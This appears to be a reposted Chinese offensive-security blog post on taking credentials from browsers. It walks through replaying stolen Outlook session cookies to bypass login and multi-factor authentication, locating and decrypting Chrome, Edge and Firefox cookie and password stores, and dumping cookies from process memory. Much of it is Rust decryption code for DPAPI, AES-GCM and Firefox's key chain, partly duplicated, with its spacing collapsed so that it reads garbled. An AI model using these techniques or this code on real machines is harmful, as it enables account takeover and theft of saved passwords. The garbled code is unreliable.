攻防|浏览器凭据获取 Cookies && Password

admin 2024年4月10日09:20:57评论12 views字数 8597阅读28分39秒阅读模式

朋友们现在只对常读和星标的公众号才展示大图推送,建议大家把“亿人安全设为星标”,否则可能就看不到了啦

原文链接:

https://xz.aliyun.com/t/14245

浏览器凭据获取 -- Cookies

简介:近几年流行多因素认证(MFA),个人认为也是以后的趋势;进入某些网站只拿到账号密码是不行的,这时就体现出cookie的重要性了,利用cookie绕过多因素认证在以后会经常用到,所以本文来简单的分析一下cookie获取和利用的思路;

获取方法:

  1. 获取本地浏览器cookies文件;

  2. 内存中获取cookies;

Cookies 利用可行性分析

利用 cookie 登录其他用户outlook

该方法只是测试cookie无需账号密码登录的可行性

通过两台主机一台登录outlook账号,一台没登录outlook账号对比访问https://outlook.live.com/mail/0的过程;

先看没有outlook cookie的访问outlook邮箱,访问/mail/0后,会接着POST请求/owa/0/startupdata.ashx?app=Mail&n=0,响应码为440 Login Timeout,接着就会跳转至登录页面;

攻防|浏览器凭据获取  Cookies && Password

攻防|浏览器凭据获取  Cookies && Password

再看存在outlook cookie的访问outlook邮箱,POST请求/owa/0/startupdata.ashx?app=Mail&n=0,响应码为200;接着就会加载outlook邮箱页面了;

攻防|浏览器凭据获取  Cookies && Password

到此有一个猜想,如果我将响应码200的cookie复制到响应码440的cookie上去,可不可以直接进入其outlook?于是用burp将访问/owa/0/startupdata.ashx?app=Mail&n=0的POST请求拦截,将cookie换成存在前面响应码200的cookie,响应200,接着会获取加载outlook邮箱内容,但是只替换这一个包不够,如果后面的请求包中不包含登录成功用户的cookie一样会跳转到登录页面;

攻防|浏览器凭据获取  Cookies && Password

攻防|浏览器凭据获取  Cookies && Password

这里可以用浏览器插件Cookie-Editor,将登录成功的outlook cookie导出成json格式;

攻防|浏览器凭据获取  Cookies && Password

未登录outlook主机这边,burp开启拦截模式,直接访问https://outlook.live.vom/mail/0,将这个请求包Forward后,会请求svg邮箱动态图片,在这个时候继续用浏览器插件Cookie-Editor,将上面导出的json内容导入,然后burp停止拦截,即可成功登录;

攻防|浏览器凭据获取  Cookies && Password

攻防|浏览器凭据获取  Cookies && Password

攻防|浏览器凭据获取  Cookies && Password

攻防|浏览器凭据获取  Cookies && Password

Cookie 窃取

本地提取cookies文件

提取cookie原理

chrome浏览器自行生成密钥,将cookie的值进行AES加密,将密文和其他信息保存到%LocalAppData%GoogleChromeUser DataDefaultNetworkCookies中,将cookies文件赋值一份出来并将后缀改为.db;

攻防|浏览器凭据获取  Cookies && Password

再通过navicat打开即可看到cookies文件内容,其中encrypted_vlaue字段的内容及为加密后的cookie值;

攻防|浏览器凭据获取  Cookies && Password

加密cookie的密钥通过DPAPI加密保存至%LocalAppData%GoogleChromeUser DataLocal State中,在json中"os_crypt"中的"encrypted_key"的值为加密密钥;

攻防|浏览器凭据获取  Cookies && Password

优缺点

优点:

  • 无视cookie分区存储,只获取存储cookie,后面可以经过与网站交互获取动态cookie;

缺点:

  • 需要关闭浏览器(否则cookies文件会被占用);

  • 需要DPAPI解密(但是大部分杀软EDR不报警);

  • 只能获取存储cookie,某些网站会存在动态cookie,直接导入会登录失败(outlook);

提取流程

提取cookies流程:

  1. 提取cookie文件密文;

  2. 提取加密密钥;

  3. 通过DPAPI将密钥解密;

  4. 再通过解密后的密钥AES解密cookie密文;

chrome cookies加密流程图:

攻防|浏览器凭据获取  Cookies && Password

内存中提取cookies

提取cookies原理

基于Chromium 内核的浏览器在启动时调用CookieMonster 从磁盘 cookie 数据库加载所有 cookie;对目标主机内网进行内存扫描,通过特定浏览器特征码定位CookieMonster 内存地址并转储cookies。

优缺点

优点:

  • 无需关闭浏览器进程;

  • 获取对应网站的所有cookie(动态cookie+存储cookie),直接导入即可成功登录;

  • 不需要用DPAPI解密;

缺点:

  • 只能转储常规cookie,Chromium后面会将cookie分区存储;

提取流程

提取流程如下:

  • 定位chrome进程pid;

  • 在进程中寻找chrome.dll的基地址和大小;

  • 通过三次特征查询定位CookieMonster 管理cookie的内存地址;

  • 在CookieMonster地址中读取每个cookie内容;

工具地址:

https://github.com/Meckazin/ChromeKatz

cookies导入

如果是内存中获取cookies可以直接导入浏览器中;但是如果是通过提取本地cookie文件中的存储型cookie,某些网站(outlook等)需要进行一些交互,服务器会再给客户端一些session(动态cookie);在获取动态cookie时会比较麻烦,所以将获取到的cookie再导入到本地cookie文件中;

之前尝试了导入到chrome的cookie文件中,加密导入之后chrome不识别这些cookie,尝试了将本地cookies文件复制一份并将其注入、直接注入到原生的cookies文件中,这两种方法都不行,这里判断Chromium对cookies文件 进行类似完整性检查的操作;

Chromium内核的浏览器不行,可以尝试下别的内核的浏览器,例如firefox,firefox浏览器存储的cookies是明文的,且不做完整性检测,可以将cookie注入到firefox的cookies文件中;

关键代码

DPAPI 解密代码:

fn crypt_unprotect_data(crypted_bytes: &[u8])-> windows::core::Result<Vec<u8>>{
letlen=crypted_bytes.len();
letmutbytes=Vec::from(crypted_bytes);
letpb=bytes.as_mut_ptr();
letmutblob=CRYPTOAPI_BLOB{
pbData: pb,
cbData: lenasu32,
};
letmutout=Vec::with_capacity(len);
letmutblob_out=CRYPTOAPI_BLOB{
pbData: out.as_mut_ptr(),
cbData: out.len()asu32,
};
unsafe{
CryptUnprotectData(
&mutblob,
std::ptr::null_mut(),
std::ptr::null(),
std::ptr::null_mut(),
std::ptr::null(),
0,
&mutblob_out,
)
.ok()?;
letslice=std::slice::from_raw_parts(blob_out.pbData,blob_out.cbDataasusize);
LocalFree(blob_out.pbDataasisize);
Ok(slice.to_vec())
}
}

AES解密代码:

pubfn decrypt_cookie(key: Vec<u8>,encrypted_value: Vec<u8>)-> (String,Vec<u8>){
ifencrypted_value.len()==0{
return(String::from(" "),Vec::new());
}
letiv: &[u8]=&encrypted_value[3..15];
letencrypted_value=&encrypted_value[15..];
letcipher=Aes256Gcm::new(&GenericArray::from_slice(&key));
ifletOk(decrypted)=cipher.decrypt(GenericArray::from_slice(iv),encrypted_value){
ifletOk(decoded)=String::from_utf8(decrypted){
return(decoded,iv.to_vec());
}
}
return(String::new(),Vec::new());
}

浏览器凭据获取 -- Password

简介: 本文介绍提取三种常见浏览器密码的原理以及代码实现;只演示最新版。

获取方法:

获取浏览器密码存储文件并解密相关加密字段;

提取密码原理

Chromium

Chrome密码文件路径:%LocalAppData%GoogleChromeUser DataDefaultLogin Data

Chrome密钥文件路径:%LocalAppData%GoogleChromeUser DataLocal State

Edge密码文件路径:%LocalAppData%MicrosoftEdgeUser DataDefaultLogin Data

Edge密钥文件路径:%LocalAppData%MicrosoftEdgeUser DataLocal State

将该文件复制一份将后缀名改为db(本身就是sqlite),即可用数据库工具打开;

关键字段:

  • origin_ur -- url

  • username_value -- 账号

  • password_value -- 密码

攻防|浏览器凭据获取  Cookies && Password

加密类型: DPAPI加密、AES加密;

解密方法

Chromium内核的浏览器加密的密码跟cookies加密一样,都是调用DPAPI进行解密AES密钥,再用AES进行解密即可。

代码实现

DPAPI 解密代码:

fn crypt_unprotect_data(crypted_bytes: &[u8])-> windows::core::Result<Vec<u8>>{
letlen=crypted_bytes.len();
letmutbytes=Vec::from(crypted_bytes);
letpb=bytes.as_mut_ptr();
letmutblob=CRYPTOAPI_BLOB{
pbData: pb,
cbData: lenasu32,
};
letmutout=Vec::with_capacity(len);
letmutblob_out=CRYPTOAPI_BLOB{
pbData: out.as_mut_ptr(),
cbData: out.len()asu32,
};
unsafe{
CryptUnprotectData(
&mutblob,
std::ptr::null_mut(),
std::ptr::null(),
std::ptr::null_mut(),
std::ptr::null(),
0,
&mutblob_out,
)
.ok()?;
letslice=std::slice::from_raw_parts(blob_out.pbData,blob_out.cbDataasusize);
LocalFree(blob_out.pbDataasisize);
Ok(slice.to_vec())
}
}

AES解密代码:

pubfn decrypt_cookie(key: Vec<u8>,encrypted_value: Vec<u8>)-> (String,Vec<u8>){
ifencrypted_value.len()==0{
return(String::from(" "),Vec::new());
}
letiv: &[u8]=&encrypted_value[3..15];
letencrypted_value=&encrypted_value[15..];
letcipher=Aes256Gcm::new(&GenericArray::from_slice(&key));
ifletOk(decrypted)=cipher.decrypt(GenericArray::from_slice(iv),encrypted_value){
ifletOk(decoded)=String::from_utf8(decrypted){
return(decoded,iv.to_vec());
}
}
return(String::new(),Vec::new());
}

Firefox

Firefox密码文件路径:C:Users<USERS>AppDataRoamingMozillaFirefoxProfilesxxxxxxx-releaselogins.json

关键字段:

  • hostname -- url;

  • encryptedUsername -- 账号;

  • encryptedPassword -- 密码;

攻防|浏览器凭据获取  Cookies && Password

Firefox密钥文件路径:C:Users<USERS>AppDataRoamingMozillaFirefoxProfilesxxxxxxx-releasekey4.db

加密类型:SHA256加密、3DES-CBC加密;

解密方法

算法解密

注:firefox中的masterpassword默认不设置(为空),如果设置则需要提供masterpassword进行解密,否则会解密失败;

解密过程:

通过提取key4.db中的metadata表和nssprivate表中的特定值进行SHA1和SHA256加解密处理获得3DES的密钥,然后将logins.json中的加密账号密码提取,进行3DES解密获得明文账号密码;

详细解密流程图:

攻防|浏览器凭据获取  Cookies && Password

代码实现

解密item跟解密a11的流程是一样的,decrypt_pbe函数演示了如何解密a11值,解析item只需要判断解析后的结果是否为"password-check";

DER解码+SHA1加密+SHA256解密代码:

SHA1加密+PBKDF2解密获取SHA256的密钥:

fn sha1_encrypt(
entry_salt: Vec<u8>,
interation_count: u32,
hex_byte_salts: Vec<u8>,
master_password: String
)-> Vec<u8>{
letmutsha1_hasher=Sha1::new();
sha1_hasher.update(hex_byte_salts);
sha1_hasher.update(master_password);
letk=sha1_hasher.finalize().to_vec();
letmutkey=vec![0u8;32];
pbkdf2::<Hmac<Sha256>>(&k,&entry_salt,interation_count,&mutkey).unwrap();
key
}

SHA256解密获取3DES解密密钥:

fn sha256_decrypt(
key: Vec<u8>,
iv: Vec<u8>,
ciphert: Vec<u8>
)-> Vec<u8>{
letkey_array: &[u8;32]=array_ref!(key,0,32);
letcipher=Cipher::new_256(key_array);
letdecrypted=cipher.cbc_decrypt(&iv,&ciphert);

log::debug!("decrypt_data is: {:?}",decrypted);
decrypted[..24].to_vec()
}

DER解析获取加密需要的值:

fn decrypt_pbe(
a11: Vec<u8>,
master_password: String,
global_salt: String
)-> (Vec<u8>,u32,u64,Vec<u8>,Vec<u8>,Vec<u8>){
letitem=parse_der(&a11).unwrap();
assert_eq!(item.1[0][0].content.clone().as_oid().unwrap().to_string(),"1.2.840.113549.1.5.13","No encryption method recognized");
assert_eq!(item.1[0][1][0][0].content.clone().as_oid().unwrap().to_string(),"1.2.840.113549.1.5.12","No encryption method recognized");
assert_eq!(item.1[0][1][0][1][3][0].content.clone().as_oid().unwrap().to_string(),"1.2.840.113549.2.9","No encryption method recognized");
assert_eq!(item.1[0][1][1][0].content.clone().as_oid().unwrap().to_string(),"2.16.840.1.101.3.4.1.42","No encryption method recognized");
letentry_salt=item.1[0][1][0][1][0].content.as_slice().unwrap();
letinteration_count=item.1[0][1][0][1][1].content.as_u32().unwrap();
letkey_length=item.1[0][1][0][1][2].content.as_u64().unwrap();
assert_eq!(key_length,32);

lethex_byte_salts=hex::decode(global_salt.as_bytes()).unwrap();
log::debug!("all is: {:?}",item);
log::debug!("global_salt is: {:?}",hex_byte_salts);
log::debug!("key_length is: {:?}",key_length);
log::debug!("interation_count is: {:?}",interation_count);

letmutiv: Vec<u8>=Vec::new();
letiv_end=item.1[0][1][1][1].as_slice().unwrap();
iv.push(4);
iv.push(14);
iv.extend_from_slice(iv_end);
letciphert=item.1[1].as_slice().unwrap();
log::debug!("iv is: {:?}",iv);
log::debug!("ciphert is: {:?}",ciphert);

(entry_salt.to_vec(),interation_count,key_length,hex_byte_salts,iv,ciphert.to_vec())
}

3DES解密获取明文密码:

pubfn des3_decrypt(
key: Vec<u8>,
encryptdata: &str
)-> String {
log::debug!("encryptdata is: {}",encryptdata);
log::debug!("key is: {:?}",key);
letbase53_data=base64::decode(encryptdata).unwrap();
letiv=&base53_data[34..42];
letmutciphertext=base53_data[44..].to_vec();
type TDesCbc=Decryptor<TdesEde3>;
lettdes=TDesCbc::new_from_slices(&key,iv).unwrap();
letresult=tdes.decrypt_padded_mut::<Pkcs7>(&mutciphertext).unwrap();
log::debug!("decrypt_data is: {:?}",String::from_utf8_lossy(result));
String::from_utf8(result.to_vec()).unwrap()

}
调用dll解密

调用Firefox nss3.dll中的函数进行解密;

nss3.dll调用函数:

  • NSS_Init -- nss初始化;

  • PK11_GetInternalKeySlot -- 获取内置的密钥槽(solt);

  • PK11_CheckUserPassword -- 验证用户提供的密码是否与给定的密钥槽(slot)关联的用户密码匹配;

  • PK11_Authenticate -- 对密钥槽(slot)进行授权;

  • PK11SDR_Decrypt -- 解密;

参考代码:

https://github.com/unode/firefox_decrypt

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月10日09:20:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   攻防|浏览器凭据获取 Cookies && Passwordhttps://cn-sec.com/archives/2642583.html

发表评论

匿名网友 填写信息